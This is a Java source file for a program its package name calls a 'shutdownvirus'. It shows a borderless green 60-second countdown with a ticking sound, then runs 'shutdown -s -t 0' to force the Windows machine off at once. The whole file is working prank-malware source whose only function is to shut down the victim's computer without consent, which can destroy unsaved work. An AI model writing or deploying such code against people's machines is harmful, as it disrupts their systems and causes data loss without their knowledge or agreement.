Shutdown

package com.vitex.shutdownvirus;

import java.awt.Color;
import java.awt.Dimension;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.RenderingHints;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.File;
import java.io.IOException;

import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.Clip;
import javax.sound.sampled.LineUnavailableException;
import javax.sound.sampled.UnsupportedAudioFileException;
import javax.swing.JPanel;
import javax.swing.JWindow;
import javax.swing.Timer;

public class Counter extends JPanel implements ActionListener {

    private static final long serialVersionUID = -2720521383048783732L;
    private final Font font = new Font("Impact", Font.PLAIN, 72);
    private final File sound = new File("sound/tick.wav");

    private Timer timer;
    private int time;

    public Counter() {
        setOpaque(false);
        setPreferredSize(new Dimension(400, 400));
        time = 60;
        timer = new Timer(1000, this);
        timer.start();
    }

    @Override
    public void paintComponent(Graphics graphics) {
        super.paintComponent(graphics);
        Graphics2D graphics2D = (Graphics2D) graphics;
        graphics2D.setRenderingHint(RenderingHints.KEY_TEXT_ANTIALIASING, RenderingHints.VALUE_TEXT_ANTIALIAS_ON);
        graphics2D.setFont(font);
        graphics2D.setColor(Color.green);
        String text = "00:" + String.valueOf(time);
        int width = graphics.getFontMetrics().stringWidth(text);
        graphics2D.drawString(text, getWidth() / 2 - width / 2, getHeight() / 2);
    }

    @Override
    public void actionPerformed(ActionEvent arg0) {
        time--;

        if (time == 0) {
            shutdown();
        }

        repaint();
        playSound();
    }

    private void shutdown() {
        try {
            Runtime runtime = Runtime.getRuntime();
            runtime.exec("shutdown -s -t 0");
            System.exit(0);
        } catch(IOException e) {
            e.printStackTrace();
        }
    }

    private void playSound() {
        try {
            Clip clip = AudioSystem.getClip();
            clip.open(AudioSystem.getAudioInputStream(sound));
            clip.start();
        } catch(LineUnavailableException | IOException | UnsupportedAudioFileException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        JWindow window = new JWindow();

        window.add(new Counter());
        window.pack();
        window.setBackground(new Color(0, 0, 0, 0));
        window.setLocationRelativeTo(null);
        window.setVisible(true);
    }

}